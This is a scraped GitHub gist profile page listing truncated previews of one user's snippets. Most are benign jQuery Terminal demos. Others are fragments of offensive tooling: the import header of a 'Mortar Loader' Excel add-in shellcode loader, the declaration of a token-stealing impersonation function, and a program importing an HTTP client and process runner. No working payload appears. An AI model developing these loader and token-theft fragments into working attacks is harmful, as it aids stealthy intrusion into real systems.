Skip to content

Instantly share code, notes, and snippets.

View zux0x3a's full-sized avatar
:shipit:
Focusing

Mr.Z zux0x3a

:shipit:
Focusing
View GitHub Profile
@zux0x3a
zux0x3a / project.lpr
Last active December 6, 2024 21:11
Mortar Loader Excel Add-ins profile
Library agressor;
// blogpost : https://kpmg.com/nl/en/home/insights/2024/12/mortar-loader-in-practice-stealth-attack-with-microsoft-office-add-ins-and-onedrive.html
{$mode objfpc} {$H+} // take a deep breath
uses
Classes, windows, blowfish, runner,base64, shell_loader,
strutils, SysUtils,syscalls, Core,jwawinbase;
@zux0x3a
zux0x3a / index.html
Created September 1, 2022 16:28
jQuery Terminal Tabs
<div class="tabs cloak">
<ul>
<li class="new">
<a href="#">+</a>
</li>
</ul>
<div class="content"></div>
</div>
@zux0x3a
zux0x3a / script.js
Created August 26, 2022 13:32
Terminal Figlet Demo
// check the list of fonts at https://unpkg.com/browse/[email protected]/fonts/
// the list can also be seen on demo of Figlet library:
// http://patorjk.com/software/taag/#p=display&f=Standard&t=jQuery%20Terminal
figlet.defaults({ fontPath: 'https://unpkg.com/figlet/fonts/' });
figlet.preloadFonts(['Standard', 'Slant'], ready);
var term;
function ready() {
term = $('body').terminal(function(cmd) {
@zux0x3a
zux0x3a / error-404-page-not-found-80s-hacker-theme.markdown
Created August 24, 2022 17:42
Error 404: Page not found – 80s hacker theme
@zux0x3a
zux0x3a / script.js
Created August 23, 2022 14:57
Terminal with pipe (figlet+lolcat,fortune+cowsay)
var term;
function delay(time) {
return new Promise(r => setTimeout(r, time));
}
// ---------------------------------------------------------------------------------
Promise.all([fortune(), fonts()]).then(async ([fortune]) => {
term = $('body').terminal(async function(command) {
const {name, args, rest} = $.terminal.parse_command(command);
const options = $.terminal.parse_options(args);
@zux0x3a
zux0x3a / index.html
Created August 23, 2022 10:57
Terminal Template
<!--
For quick introduction to the library check:
https://itnext.io/how-to-create-interactive-terminal-like-website-888bb0972288
-->
using System;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Net;
namespace callback_function
function steal_token(pid:Dword):string;
const
LOGON_WITH_PROFILE = $00000001;
var
hproc,tokenhandle,hProcessToken,duplicateTokenHandle,currenttokenHandle : Thandle;
gettoken,impersonateUser,createProcess,duplicateToken,getcurrenttoken,isokay:boolean;
si: TStartupInfow;
pi: TPROCESSINFORMATION;
SA: TSecurityAttributes;
program project1;
{$mode objfpc}{$H+}
uses
{$IFDEF UNIX}{$IFDEF UseCThreads}
cthreads,
{$ENDIF}{$ENDIF}
Classes, SysUtils,FPHTTPClient,process,CustApp;